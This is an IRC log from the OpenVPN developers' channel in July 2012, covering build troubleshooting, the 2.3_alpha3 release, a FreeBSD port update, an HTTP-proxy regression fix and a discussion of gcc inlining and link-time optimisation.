06:57 <@ecrist> though, it shouldn't matter 06:57 <@dazo> hmm ... soudns odd ... 06:57 <@ecrist> this isn't really part of the build 06:57 <@ecrist> I haven't built -devel snapshots in about 2 months due to my server/home move 06:57 <@dazo> this is during the bootstrap? (autoreconf -vi) 06:57 <@ecrist> now I'm trying again, and I get that error. 06:57 <@ecrist> yes 06:57 <@ecrist> without the -v 06:58 <@dazo> yeah, -v is just verbose 06:58 <@ecrist> right 06:58 <@dazo> okay ... I'd guess that you're missing either autoconf or automake ... 06:59 <@ecrist> no 06:59 <@dazo> cron2 might have some better clues .... as this has passed on several FreeBSD versions in the buildbot 06:59 <@ecrist> the error is from the command autoreconf 06:59 <@ecrist> and, like I said, this isn't really a platform thing, I think 07:00 <@ecrist> I don't have automake installed, though 07:00 * ecrist installs it 07:02 <@ecrist> ok, that gets me past that 07:02 <@ecrist> a bunch more new errors now 07:02 <@dazo> missing libtool? 07:02 <@ecrist> http://pastebin.ca/2174273 07:03 <@ecrist> heh, probably 07:03 <@dazo> yeah, that's libtool missing :) 07:06 <@ecrist> derp 07:06 <@ecrist> now I have a tarball built 07:06 <@dazo> :) 07:09 <@ecrist> I have a new primary FTP server, considerably faster, and on a faster pipe than the old one I used as master 07:12 <@dazo> nice! 07:25 <@ecrist> do we have a guess as to when a beta release is going to be ready? 07:27 * cron2 wakes up 07:27 <@mattock> d12fk: success! 07:27 <@cron2> ecrist: autoreconf "-i" might be needed 07:27 <@ecrist> cron2: i do the -i 07:28 <@dazo> cron2: you're too late ;-) automake and libtool was missing :) 07:28 <@cron2> yeah, I saw it later, scrolled back too far 07:28 <@ecrist> I was missing automake and libtool 07:28 <@ecrist> cron2: there is a new snapshot posted to the FTP servers now 07:28 <@mattock> I had to poke at Makefile.in also, as Makefile.am was not regenerated during Debian build 07:28 <@cron2> libtool would have been my next guess, we need that nowadays, to make a static libcompat.a (as if "ar" wouldn't do the job) 07:28 <@mattock> I'll make the 2.3_alpha3 release tomorrow, unless something goes wrong with the tests 07:28 <@cron2> ecrist: port updated already? 07:29 <@ecrist> working on that next 07:29 <@dazo> ecrist: I don't have a gut-feeling for beta releases yet ... but I know we have some bugs to take care of for that ... and I know I need to focus on paid-job the next 4-6 weeks or so 07:29 <@ecrist> due to the fact we want to upgrade our stuff with IPv6 goo soonish for $work, I'm using that to justify spending $work[time] on openvpn this week. 07:29 <@ecrist> :D 07:30 <@cron2> dazo: what bugs are left? 07:30 <@dazo> reconnect issues ... where it hits a PUSH_REQ loop and server never sends 07:31 <@dazo> that's a blocker ... I have everything ready to dig deeper, but lacking time 07:31 <@cron2> ah, that one. indeed it would be good to figure out whether this is something only you get bitten by ("local setup / environment issue") or something we need to fix 07:31 <@d12fk> what about the patch i sent dazo had some questions 07:31 <@dazo> I experience that on 3 different setups 07:32 <@dazo> d12fk: yeah, the patch queue is always going to be a part of a next release ... but for beta, we should have killed blocker bugs too :) 07:32 <@cron2> if ( strcmp(username, "dazo") == 0 && ( random() & 7 ) == 0 ) { do_intersting_things(); } 07:33 <@dazo> lol 07:37 <@d12fk> dazo: i mean the socks mgmt thing that you asked something about but were gone before i could answer 07:37 <@d12fk> what was the question again? 07:39 <@ecrist> does the down-root plugin no longer get build automatically? 07:44 <@cron2> ecrist: it should be built, unless you do --disable-plugins 07:54 <@ecrist> hrm 07:55 <@ecrist> it doesn't seem to be 07:57 <@cron2> all directories have changed, so maybe it's just not where you're looking for it? 07:57 <@cron2> (it might auto-disable plugin building if configure can't find "something" - so you might check for that) 08:19 <@ecrist> I see a lot of instances of this in the config.log 08:19 <@ecrist> error: expected expression before ')' token 08:19 <@ecrist> most of them related to conftest.c 08:20 <@ecrist> well, all of them, there are other errors with conftest.c, as well 08:23 <@ecrist> cron2: if I go to that directory (src/plugins) and do a make, it claims to be building them, but does nothing at all 08:24 <@cron2> ecrist: that's usually a subsequent error of "some header file could not be found" 08:24 <@cron2> is there anything in config.log containing the word "plugin"? :) 08:24 <@ecrist> would you look at config.log for me, and tell me what you see? 08:25 <@ecrist> I've looked for plugin, and see nothing telling 08:25 * cron2 goes to phillip and checks 08:25 <@ecrist> cron2: it's done on terrance 08:25 <@ecrist> but I'll send it to phillip 08:25 <@cron2> I have a git checkout on phillip already 08:26 <@cron2> will just run configure myself and see wht it does 08:27 <@ecrist> ah 08:27 <@ecrist> otherwise, my config.log is in my home dir 08:28 <@cron2> well - I did "git fetch, git merge, autoreconf -vif, configure, make" and it nicely built openvpn-plugin-down-root.la and .so 08:28 <@cron2> ./src/plugins/down-root/.libs/openvpn-plugin-down-root.so 08:28 <@cron2> ./src/plugins/down-root/openvpn-plugin-down-root.la 08:29 <@cron2> (that .libs bit is libtool) 08:30 <@ecrist> why is the .so put in .libs? 08:31 <@cron2> (that .libs bit is libtool) 08:31 <@cron2> (that .libs bit is libtool) 08:31 <@cron2> "because libtool can" 08:31 <@ecrist> heh 08:31 <@cron2> do not ever ask "why...?" questions when libtool is used... 08:31 <@ecrist> good an answer as any I suppose. 08:32 <@cron2> actually what it does is hide the libs behind a .la which directs the linker to the "right" .so and takes care of dependencies and what not - so the basic idea is sane, but for something that's only dlopen()ed, this whole .la and .libs/*.so business is just overcomplicating things 08:32 <@cron2> the .la is just a text file 08:35 <@ecrist> ah 08:35 <@ecrist> it causes the openvpn port issues has it's been looking for the .so above where .libs is now 08:35 <@ecrist> relatively minor, but annoying 08:36 <@ecrist> do you know if the ifdef problem for enable-passwd-save ever got fixed? 08:38 <@cron2> I can't recall "the ifdef problem" right now, tbh - what was it? 08:39 <@cron2> (there's lots of #ifdef problems all over the code, but I'm sure you're not talking about that :) ) 08:40 <@ecrist> no, enable-passwd-save just simply didn't work 08:40 <@ecrist> the configure option, I had to manually define it in the makefile 08:41 <@cron2> mmh. it worked when I tried it last time, but I have no idea whether that was "before the breakage" or "after repair" - I use it on the buildslaves for the community vpn 08:41 <@ecrist> alon, according to my irclogs, says it was fixed in may 08:41 <@ecrist> I'll go on that assumption for now 08:41 <@cron2> yeah, that would make sense, as my last buildslave is newer than that "and works" 09:04 <@ecrist> cron2: http://www.freebsd.org/cgi/query-pr.cgi?pr=170111 09:04 <@vpnHelper> Title: ports/170111: security/openvpn-devel: update to more recent snapshot (at www.freebsd.org) 09:04 <@ecrist> just FYI, the PR is in for the port update 09:11 <@cron2> cool 12:14 -!- dazo is now known as dazo_afk 13:15 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Ping timeout: 245 seconds] 15:33 -!- plaisthos [~arne@kamera.blinkt.de] has joined #openvpn-devel 21:47 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 21:47 -!- mode/#openvpn-devel [+v krzee] by ChanServ 23:03 -!- smartype [~smartype@115.220.104.22] has joined #openvpn-devel 23:19 -!- smartype [~smartype@115.220.104.22] has quit [Remote host closed the connection] 23:34 -!- smartype [~smartype@115.220.104.22] has joined #openvpn-devel 23:50 -!- smartype [~smartype@115.220.104.22] has quit [Remote host closed the connection] --- Day changed Wed Jul 25 2012 02:54 -!- dazo_afk is now known as dazo 03:06 <@mattock> openvpn-2.3_alpha3 windows installers passed the smoketests, updating the download pages 03:24 <@mattock> download pages updated 03:53 <@dazo> nice!!! 03:54 <@mattock> did anyone get the email announcement? 03:55 <@mattock> ah, I got it also, np 03:55 <@mattock> all looking good 03:55 <@mattock> need to push out the deb/rpm packages next, then we're done 04:05 * dazo goes to double check if his SL boxes will auto-upgrade openvpn 04:14 <@mattock> my centos boxes did, testing fedora 16 now 04:14 <@mattock> yeah, fedora 16 too 04:15 <@mattock> ubuntu did, so did debian 04:15 <@mattock> no major issues so far 04:16 <@mattock> only issue I encountered was that our MSVC build computer (used to build tap.windows) did not recognize the digital signatures in alpha3, 04:16 <@mattock> except for the tap-windows driver 04:17 <@mattock> but as winxp and win7 did, I guess that's not a bug, but a feature 04:17 <@mattock> in win2008r2 04:23 -!- mattock [~samuli@openvpn/corp/admin/mattock] has quit [Read error: No route to host] 04:28 -!- mattock [~samuli@openvpn/corp/admin/mattock] has joined #openvpn-devel 04:28 -!- mode/#openvpn-devel [+o mattock] by ChanServ 05:02 <@dazo> mattock: well, SL have nightly automatic updates ... and one of my servers have a password protected key, so it won't restart ... which will then kill the needed VPN for my mail to function properly :) 07:34 -!- smartype [~smartype@115.220.105.143] has joined #openvpn-devel 07:49 -!- smartype [~smartype@115.220.105.143] has quit [Ping timeout: 246 seconds] 08:13 * plaisthos found a cool way to put options in config files by accident ... 08:13 < plaisthos> "option" works 08:13 < plaisthos> so "--<ca>" should work too :) 08:14 <@ecrist> ping mattock or dazo 08:15 <@dazo> ecrist: pong 08:15 <@dazo> plaisthos: hehe ... it wouldn't surprise me at all if that worked ... the option code is "simply" written to be too clever 08:15 <@ecrist> is there any catches to compiling against polarssl? 08:16 <@dazo> ecrist: currently no blowfish support and no pkcs12 support, iirc 08:16 <@ecrist> I'm working on the freebsd port update for the current tarball, and want to build in the option to use polarssl 08:16 <@ecrist> what do I do to build it with polarssl? is that covered in the README? 08:17 <@dazo> install polarssl ... and add --with-crypto-lib=polarssl (or something like that) to openvpn's ./configure 08:18 <@ecrist> thank you, sir 08:18 <@dazo> you're welcome :) 08:19 <@ecrist> is easy-rsa still going to be included with the base openvpn tarballs? 08:20 <@dazo> ecrist: nope, that'll be a separate piece 08:20 <@ecrist> ok, so now's the time to add an easy-rsa port to freebsd 08:21 <@ecrist> again, thanks 08:21 <@dazo> README.polarssl covers the differences between OpenSSL and PolarSSL ... but doesn't mention the lack of blowfish (however, BF support is added to the dev tree) 08:42 < plaisthos> dazo: and no external rsa signing (but most users don't need that anyway ...) 08:42 <@dazo> yeah, true 08:43 <@dazo> just some picky GUI's or platforms ;-) 08:43 < plaisthos> picky GUI's :) 08:43 < plaisthos> or keystores that don't like you getting the private key :) 08:44 <@dazo> yeah, but I only know about your android frontend doing that .... 08:57 < plaisthos> yeah 08:59 < plaisthos> which reminds me to post a non broken version of the patch 09:02 <@ecrist> does the make check do anything useful, other than give you a 2 minute build delay? 09:03 <@ecrist> and, is there an install/make target for the sample configs/docs? 09:06 <@dazo> ecrist: make check does some tests of the build ... some sanity tests ... and if you have t_client.rc configured, it will run even more tests 09:07 <@dazo> docs/ should be installed ... probably in $prefix/share/doc/openvpn-$version/ 09:08 <@dazo> sample-configs are not installed, afaict 09:08 <@ecrist> they don't seem to be, at least the sample-config-files and the sample-scripts 09:09 <@dazo> sample/ stuff don't have an install target ... but doc/ does 09:09 <@ecrist> ok, so my port can just do a cp -R 09:09 <@dazo> yeah, should work 09:14 <@ecrist> there is a Makefile in the samples dir, t hough. 09:14 <@dazo> yeah, but only contains info about what to package when doing 'make dist' 09:15 <@dazo> (no install, only dist) 09:15 <@dazo> at least, that's how I interpret Makefile.am :) 09:30 <@ecrist> derp, I'll just copy the trees. :) 10:40 <@d12fk> found another nice bug on windows 10:41 <@d12fk> could all yer *bsd users check if you're affected by this as well: 10:42 <@d12fk> start ovpn with an invalid log path, like openvpn --config foo --log /some/non/existing/path/to.log 10:43 <@d12fk> on Windows ovpn blocks when the stdout/err buffer is full. this happens when it's statrted by the GUI e.g. 10:44 <@d12fk> so during the connection attempt it hangs and is never heared of again, in my case at: 10:47 <@d12fk> Wed Jul 25 16:46:23 2012 SENT CONTROL [日本語]: 'PUSH_REQUEST' (status=1) 10:48 <@d12fk> the 39th line of log recv through mgmt itf 11:08 -!- Balcora [~cora@ppp178-161.static.internode.on.net] has joined #openvpn-devel 11:09 < Balcora> Hey all, question, is there a freely available nsis script for the newer versions of openvpn? (after pulling the files out of it, i noticed it was nsis... so was thinking of rolling my own installer with my configs... for lazyness) 11:16 <@mattock> balcora: https://github.com/OpenVPN/openvpn-build 11:16 <@vpnHelper> Title: OpenVPN/openvpn-build · GitHub (at github.com) 11:17 <@mattock> check out the wiki (https://community.openvpn.net) for usage information 11:17 <@vpnHelper> Title: OpenVPN Community (at community.openvpn.net) 11:18 < Balcora> ah sweet, thanks mate 13:21 <@ecrist> cron2: openvpn-devel is now updated/committed 14:01 <@cron2> ecrist: cool 14:13 <@ecrist> includes polarssl option, too 14:17 <@dazo> ecrist: is there some info page about how/what to do to use this openvpn-devel and/or polarssl? I could tweet it and get the attention of the polarssl dev too 14:18 <@ecrist> FreeBSD's security/openvpn-devel port has been updated to 201230 snapshot, which includes a knob to use polarssl instead of openssl 14:19 <@ecrist> there isn't so much a page 14:19 <@ecrist> the people who use freebsd ports will know 14:19 <@dazo> cool! I'll pass the word 14:19 <@ecrist> danke 14:21 * cron2 will test on corp VPN server "these days" 14:31 -!- dazo is now known as dazo_afk 21:23 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Ping timeout: 255 seconds] 22:24 -!- smartype [~smartype@125.114.98.15] has joined #openvpn-devel 22:38 -!- smartype [~smartype@125.114.98.15] has quit [Ping timeout: 255 seconds] --- Day changed Thu Jul 26 2012 00:29 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 00:29 -!- mode/#openvpn-devel [+v krzee] by ChanServ 03:55 -!- dazo_afk is now known as dazo 06:58 <@dazo> *grmbl* ... I thought I was running openvpn a confined SELinux context ... but it turns out, that as I had an older openvpn installed in /usr/local/sbin ... that was labelled as unconfied ... so no restrictions ... that's so silly of me! 06:59 <@dazo> (no wonder I haven't stumbled accross any SELinux issues) 07:50 <@ecrist> heh 08:15 <@cron2> lol 08:46 <@dazo> hmmmmm ..... http://pwnieexpress.com/products/power-pwn 08:46 <@vpnHelper> Title: Power Pwn (Pre-order) | Pwnie Express (at pwnieexpress.com) 08:47 <@dazo> I think I would like to deploy a few of these ones ... but would never ever want it in my own home ... :-P 12:13 -!- dazo is now known as dazo_afk 16:45 -!- mattock [~samuli@openvpn/corp/admin/mattock] has quit [Remote host closed the connection] 17:09 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Read error: Connection reset by peer] 18:48 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 18:48 -!- mode/#openvpn-devel [+v krzee] by ChanServ 20:02 -!- smartype [~smartype@125.114.98.15] has joined #openvpn-devel 20:12 -!- smartype [~smartype@125.114.98.15] has quit [Remote host closed the connection] --- Day changed Fri Jul 27 2012 03:31 -!- dazo_afk is now known as dazo 04:04 <@vpnHelper> RSS Update - tickets: #221: Write X-Forwarded-For field with share-port option <https://community.openvpn.net/openvpn/ticket/221> 09:08 <@dazo> ecrist: krzee: Could you please review this one ... https://community.openvpn.net/openvpn/wiki/How_does_PKI_work ... maybe it can help making people understand PKI and the different pieces better 09:08 <@vpnHelper> Title: How_does_PKI_work – OpenVPN Community (at community.openvpn.net) 09:33 <@d12fk> dazo: how about a logging api for plugins? 09:33 <@d12fk> i.e. exporting msg() fo rthem 09:35 * ecrist reads 09:35 <@ecrist> d12fk++ 09:39 <@ecrist> dazo: you get a cookie for mentioning ssl-admin 09:43 <@ecrist> dazo: looks good. I'd suggest adding a section discussing the certificate usage field, since OpenVPN can make use of it 09:44 <@ecrist> also, maybe mention that web browsers work by having a store of common CA certificates 09:44 <@ecrist> there was a big-ish deal in the main channel a couple days ago because someone wanted openvpn to include that same certificate store for the same reason 09:45 <@dazo> d12fk: that sounds like a good idea 09:45 <@dazo> ecrist: good comments ... I'll add that too 09:46 <@ecrist> I made some minor grammar changes 09:46 <@dazo> goodie! I'm hopeless in grammar :) 09:46 <@ecrist> I can edit it again, if you like, when it's closer to complete 09:46 <@ecrist> mostly minor things 09:46 <@dazo> That'd be great! 10:06 <@d12fk> dazo: so, how to pull it off? 10:07 <@d12fk> there's no reserved params that could be used and i don't want to change the api yet another time 10:07 <@d12fk> abi that is 10:08 <@d12fk> could the return list do the trick? 10:11 <@d12fk> name="log" 10:13 <@d12fk> value="<flags>,<message>" 10:15 <+krzee> dazo, so far i love it 10:15 <+krzee> not done reading 10:17 <@d12fk> dazo: ah in v3 the args are in a struct, that will not mess up things if a log_fn ptr is added to the end 10:18 <+krzee> And lets say it again, teh CA private key is the most sacred file you will ever have your hands on, this must under no circumstances get lost. If you loose that file, you have lost the credibility of your CA. 10:18 <+krzee> the credibility is in tact, but the ability to sign new certs is not 10:18 <@d12fk> dazo: aah and the v3 retargs could be extended too 10:18 <@d12fk> i see a shiny future 10:18 <@d12fk> next week... =) 10:29 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Ping timeout: 244 seconds] 11:06 <@dazo> d12fk: heh ... you seem to have discovered something now :) 13:01 -!- ender| [~ender1@2a01:260:4094:1:42:42:42:42] has quit [Ping timeout: 260 seconds] 13:03 -!- ender| [~ender1@2a01:260:4094:1:42:42:42:42] has joined #openvpn-devel 13:47 -!- dazo is now known as dazo_afk --- Day changed Sat Jul 28 2012 01:35 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 01:35 -!- mode/#openvpn-devel [+v krzee] by ChanServ 18:34 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Ping timeout: 240 seconds] --- Day changed Sun Jul 29 2012 02:15 -!- waldner [waldner@unaffiliated/waldner] has quit [Ping timeout: 248 seconds] 12:25 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 12:25 -!- mode/#openvpn-devel [+v krzee] by ChanServ 20:09 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Read error: Connection reset by peer] --- Day changed Mon Jul 30 2012 00:26 < plaisthos> something/someone proxy http-proxy :/ 01:03 < plaisthos> the management-proxy commit broke it, but I don't see why 01:38 <@d12fk> plaisthos: what broke? 01:39 <@d12fk> ah saw the mail 01:51 < plaisthos> but I had a look that query proxy stuff. I think I will implement automatic proxy detection 01:51 < plaisthos> and query the android os 01:53 < plaisthos> .oO(Openvpn for android, using all the obscure openvpn features .. ;')) 02:04 -!- mattock [~samuli@openvpn/corp/admin/mattock] has joined #openvpn-devel 02:04 -!- mode/#openvpn-devel [+o mattock] by ChanServ 02:13 <@cron2> yay 02:18 <@d12fk> plaisthos: if you use the mgmt itf it's the better way to pass proxy info since you get queried by ovpn between USR1/HUP restarts as well 02:18 < plaisthos> d12fk: yes I know 02:19 < plaisthos> my app has no proxy support at the moment but a "custom options" option 02:19 < plaisthos> where you can put your configuration options 02:19 < plaisthos> for advanced users 02:19 < plaisthos> and two people emailed me that using http-proxy in advanced options is broken with my new app version 02:34 <@d12fk> plaisthos: i'll check it out 02:35 < plaisthos> d12fk: thanks 02:35 < plaisthos> You don't need --management to trigger the bug btw 02:36 <@d12fk> yeah i suspenct it's in the change to the options code 02:47 <@cron2> seems we need more automated client tests that will also cover proxy code, and potentially *management* code 02:48 <@cron2> test-with-proxy is not too hard from within t_client.sh, but test-with-management needs a different framework 02:48 * cron2 goes thinking 03:22 <@d12fk> haha classic lack of attention 03:23 <@d12fk> plaisthos: i'll send a fix to the list soon, could you check it with your users. should be straight forward 03:24 < plaisthos> yes, I can send them an updatet android apk 03:56 -!- mattock [~samuli@openvpn/corp/admin/mattock] has quit [Ping timeout: 250 seconds] 04:09 * plaisthos now needs to find out how to apply a git patch from mail ... 04:10 <@d12fk> save the mail, then git am 04:11 < plaisthos> d12fk: thanks 04:15 <@d12fk> plaisthos: could your ack the patch when it actually fixes anything? 04:23 <@cron2> I'm not sure I understand that patch 04:23 <@cron2> to my eye, all it does is "replace the pointer with a double-pointer"...? 04:24 <@cron2> or is that a side-effect of wanting to actually assign the structure element *inside* init_http_proxy_options_once() because add_option() no longer does it? 04:27 < plaisthos> d12fk: looks good on my testing. It now at least tries to connect to 1.2.3.4 :) 04:28 < plaisthos> I sent a android version with your fix to the users using the http proxy option. I will let you know when one of them replies 04:33 <@d12fk> cron2: that's the gotcha 04:33 <@d12fk> plaisthos: ok 04:34 <@d12fk> cron2: the prev. version just assigned the allocated struct to the pointer on the stack 04:36 <@d12fk> i kinda found the out during my test of the mgmt option but fixed it the wrong way, by assigning the returned poiter to options again 04:37 <@d12fk> in init.c 04:56 <@cron2> ok, understood 05:13 <@d12fk> man i hate inline functions 05:14 <@d12fk> never suspect code in header files 05:18 <@cron2> well... I can see why he does it, OTOH, most of this will most likely not even be measurable performance-wise, so it might be a useful excercise for 2.4 to review all those to see whether any of those makes a measureable difference 05:19 <@d12fk> fun fact: modern gcc ignore inline because they know better, so it's worthless 05:20 <@cron2> it's not fully worthless - if you have it in the header, and gcc sees it as worthwile, it will inline it 05:20 <@cron2> if it's in a different C file, gcc will not be able to inline it 05:21 < plaisthos> yeah but at least intel solves this by using link time optimisation 05:21 < plaisthos> don't know if gcc has lto 05:21 <@cron2> you can't inline at link-time 05:22 <@d12fk> gcc inlines non-inlne functions if it's worth it, so no need for explicit inline 05:23 <@d12fk> i.e. it has -fno-inline-small-functions for a reason 05:23 <@cron2> d12fk: yes, this is understood, but only if gcc *sees* the function in question - if you have a.c call foo() and b.c call foo() as well, and foo() is defined in b.c, the calls in a.c cannot be inlined 05:23 < plaisthos> cron2: intel cc uses a different format than .o for link time optimization 05:24 <@cron2> plaisthos: ok, if you save your "intermediate data structures" (sort of), you can do that. Amazing :) 05:24 < plaisthos> http://en.wikipedia.org/wiki/Interprocedural_optimization#Flags_and_implementation 05:24 <@vpnHelper> Title: Interprocedural optimization - Wikipedia, the free encyclopedia (at en.wikipedia.org) 05:26 <@d12fk> cron2: i dont see why. do you have a pointer where i could read about why? 05:26 <@cron2> d12fk: how should it inline a function that it doesn't know anything about? 05:26 <@cron2> and .o file format doesn't have room for that, it's just object code + bss + data 05:27 <@cron2> you could do it if compiling "gcc -o program a.c b.c", but I cannot see a way to make it work with the traditional way of "gcc -o b.o b.c" 05:27 <@cron2> when compiling a.c later or beforehand, no information can be transported to the compilation of b.c regarding "foo() should be inlined" 05:28 <@d12fk> it can still look at the code and decide it's short enough to inline 05:28 <@cron2> d12fk: when compiling b.c, how can it look at the code of foo(), which is not defined anywhere? 05:29 <@cron2> other way round 05:29 -!- dazo_afk is now known as dazo 05:29 <@cron2> b.c has definition of foo(), a.c is compiled - how will gcc know anything about foo()? 05:30 <@d12fk> cron2: got it 05:30 <@cron2> otoh plaisthos has a good point - if some other format than .o is used, it could be done (and that is cool) :-) 05:30 <@cron2> gcc does have -fwhole-program, but I need to read up how that works 05:31 <@cron2> ah 05:31 <@cron2> "Assume that the current compilation unit represents the whole program being compiled. All public functions and variables with the exception of main and those merged by attribute externally_visible become static functions and in effect are optimized more aggressively by interprocedural optimizers." 05:32 <@cron2> http://gcc.gnu.org/onlinedocs/gcc/Optimize-Options.html 05:32 <@vpnHelper> Title: Optimize Options - Using the GNU Compiler Collection (GCC) (at gcc.gnu.org) 05:33 * cron2 takes back his claims about gcc not being able to do that... with -flto it might actually *be* 05:33 <@cron2> "This means, for example, that the inliner is able to inline functions in bar.o into functions in foo.o and vice-versa" 05:33 <@cron2> cool 05:34 <@d12fk> so the linker is that smart 05:34 <@cron2> no :) 05:35 <@cron2> it only works if you use gcc as the linker, and call it with -lto again for linking - then it will read all the pseudo code saved to special ELF sections at compile time, and run cross-module optimizations 05:35 <@cron2> ... generating *new* object code, and then "linking" that 05:36 <@cron2> the section on -flto is long, and worth reading 05:40 <@d12fk> thanks for destroying my simple inline world in 15 minutes everybody! =) 05:42 <@cron2> d12fk: thanks for making me re-validate my 10-year-old assumptions about inline :-) 05:43 <@cron2> ... but given -flto, we should really revisit code-in-headerfile for 2.4 06:32 -!- mattock [~samuli@openvpn/corp/admin/mattock] has joined #openvpn-devel 06:32 -!- mode/#openvpn-devel [+o mattock] by ChanServ 07:26 <@d12fk> I guess the time for PPTP has now really come: https://github.com/moxie0/chapcrack 07:26 <@vpnHelper> Title: moxie0/chapcrack · GitHub (at github.com) 07:27 <@d12fk> $200 for cracking a VPN account ought to be cheap enough 07:28 <@d12fk> oops, I called pptp vpn, my bad =) 07:35 < plaisthos> d12fk: it does not work against the main reason for pptp 07:35 <@d12fk> yes i know, compatibility ftw 07:36 < plaisthos> "I just want to connect my server and it is very easy to set up" 07:40 <@d12fk> our customers always argue with mobile clients, still most of them also support l2tp at least 07:44 < plaisthos> d12fk: got a reply 07:44 < plaisthos> new version works... here the lig file from a connection. 07:44 < plaisthos> thank you - much appreciated. 07:47 < plaisthos> and the attached log shows connecting to the vpn via the proxy 07:48 <@d12fk> great 07:49 <@d12fk> had a feeling that i got it right this time, but you newer know what i broke now. =) 07:51 < plaisthos> :) 07:53 <@d12fk> plaisthos: plaes ack when you can, so this gets merged soon 08:10 < plaisthos> d12fk: I wrote a reply on the ML 08:10 <@d12fk> thanks 08:51 -!- mattock [~samuli@openvpn/corp/admin/mattock] has quit [Ping timeout: 240 seconds] 08:52 <@dazo> d12fk: patch applied and being pushed out as we speak 08:55 -!- mattock [~samuli@openvpn/corp/admin/mattock] has joined #openvpn-devel 08:55 -!- mode/#openvpn-devel [+o mattock] by ChanServ 08:55 <@vpnHelper> RSS Update - testtrac: fix regression with --http-proxy[-*] options <http://openvpn.git.sourceforge.net/git/gitweb.cgi?p=openvpn/openvpn-testing.git;a=commitdiff;h=4f879daeb9b1b709c80d01e4872b30e23747c4a8> 09:10 <@d12fk> dazo: sweet 09:10 <@dazo> I still have your other patch on the review plate, but haven't had time/energy to look into it yet ... but as this one got an ACK, it was easy to apply it :) 09:11 <@dazo> (and the fix was rather a classic fix even :)) 11:32 <@vpnHelper> RSS Update - tickets: #222: hang in auth-user-pass-verify script causes hang in openvpn <https://community.openvpn.net/openvpn/ticket/222> 11:50 -!- mattock [~samuli@openvpn/corp/admin/mattock] has quit [Ping timeout: 248 seconds] 12:26 <@dazo> Good read: https://www.linux.com/news/special-feature/linux-developers/611198:30-linux-kernel-developers-in-30-weeks-alan-cox :) 12:26 <@vpnHelper> Title: 30 Linux Kernel Developers in 30 Weeks: Alan Cox | Linux.com (at www.linux.com) 12:46 < plaisthos> d12fk: works for the second user too: WOW! Worked like a charm.. A million thanks :) 12:49 -!- mattock [~samuli@openvpn/corp/admin/mattock] has joined #openvpn-devel 12:49 -!- mode/#openvpn-devel [+o mattock] by ChanServ 13:15 < plaisthos> d12fk: and the management-query-proxy interface really works :) 13:25 < plaisthos> I implemented it my app 13:26 < plaisthos> and found out that Google translators are confused 13:26 < plaisthos> they translated 13:26 < plaisthos> The HTTP proxy is used by the browser but may not be used by the other apps. 13:26 < plaisthos> to 13:26 < plaisthos> Der HTTP-Proxy wird vom Browser verwendet, darf aber nicht von anderen Apps verwendet werden. 13:26 < plaisthos> oh it is actually correct, nevermind :) 13:28 < plaisthos> in german translation other apps are not allowed to the proxy ... 14:28 -!- Irssi: #openvpn-devel: Total of 13 nicks [8 ops, 0 halfops, 0 voices, 5 normal] 14:45 -!- dazo is now known as dazo_afk 15:23 <@cron2> what do they mean by "may not be used by the other apps"? (may not MUST NOT be translated to "darf nicht", just btw...!) 15:25 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 15:25 -!- mode/#openvpn-devel [+v krzee] by ChanServ 15:25 -!- mattock [~samuli@openvpn/corp/admin/mattock] has quit [Ping timeout: 250 seconds] 15:28 -!- mattock [~samuli@openvpn/corp/admin/mattock] has joined #openvpn-devel 15:28 -!- mode/#openvpn-devel [+o mattock] by ChanServ 15:34 -!- mattock [~samuli@openvpn/corp/admin/mattock] has quit [Remote host closed the connection] 16:08 -!- EvilJStoker [~jstoker@unaffiliated/jstoker] has quit [Ping timeout: 244 seconds] 16:34 -!- EvilJStoker [jstoker@unaffiliated/jstoker] has joined #openvpn-devel 17:25 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Ping timeout: 249 seconds] 18:57 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 18:57 -!- mode/#openvpn-devel [+v krzee] by ChanServ --- Day changed Tue Jul 31 2012 02:48 < plaisthos> cron2: they meant that other apps may ignore the proxy settings 03:21 -!- dazo_afk is now known as dazo 03:29 <@cron2> that makes more sense than the german translation :) 06:32 <@d12fk> plaisthos: yw. yes, management-query-proxy is quite a relieve when it comes to proxy stuff with openvpn 06:33 <@d12fk> glad it's picked up so easily by other gui authors 07:54 -!- dazo is now known as dazo_afk 08:03 -!- dazo_afk is now known as dazo 08:11 -!- mattock [~samuli@openvpn/corp/admin/mattock] has joined #openvpn-devel 08:11 -!- mode/#openvpn-devel [+o mattock] by ChanServ 08:16 -!- mattock [~samuli@openvpn/corp/admin/mattock] has quit [Remote host closed the connection] 08:54 <@d12fk> dazo: 08:54 <@d12fk> $ objdump -T ~/openvpn | grep plugin_log 08:54 <@d12fk> 0809a820 g DF .text 000000ab Base plugin_log 08:54 <@dazo> d12fk: and if you strip it? 08:55 <@d12fk> same 08:55 <@d12fk> tried -s and --strip-debug 08:55 <@dazo> hmm ... interesting 08:55 <@d12fk> on windows its: 08:55 <@d12fk> $ i686-w64-mingw32-objdump.exe -t src/openvpn/.libs/openvpn.exe | grep plugin_log 08:55 <@d12fk> [2221](sec 1)(fl 0x00)(ty 20)(scl 2) (nx 0) 0x0004ed21 _plugin_log 08:56 <@dazo> I just quickly saw your mail ... haven't had time to really dig into it 08:56 <@d12fk> strangly static symbols 08:56 * dazo need to prep for a meeting in 4 min 08:56 <@d12fk> but it worked, tested it to really make sure i don't submit anything stupid 08:57 <@d12fk> 2012:07:31-15:07:48 hhund_195 openvpn[26971]: dies ist ein test von utm plugin 08:57 <@d12fk> ^ proof =) 08:58 <@d12fk> might be a different story with msvc though 08:58 <@d12fk> mattock_: could you test this 09:07 <@dazo> d12fk: just a quick comment ... I'd really like to tag these log entries as plug-in and which plug-in who wrote it ... otherwise it'll be harder for those wanting to parse log files programmatically 09:15 <@d12fk> dazo: how to do that? 09:16 <@d12fk> both actually, finding the plugin name and parse log files programmatically 09:16 <@d12fk> for the latter i can only imagine to feed patterns into the parser 09:18 <@d12fk> if you take pppd (which i know of), there's no prefix there either. do you have a log parsing background to request it? 10:00 * 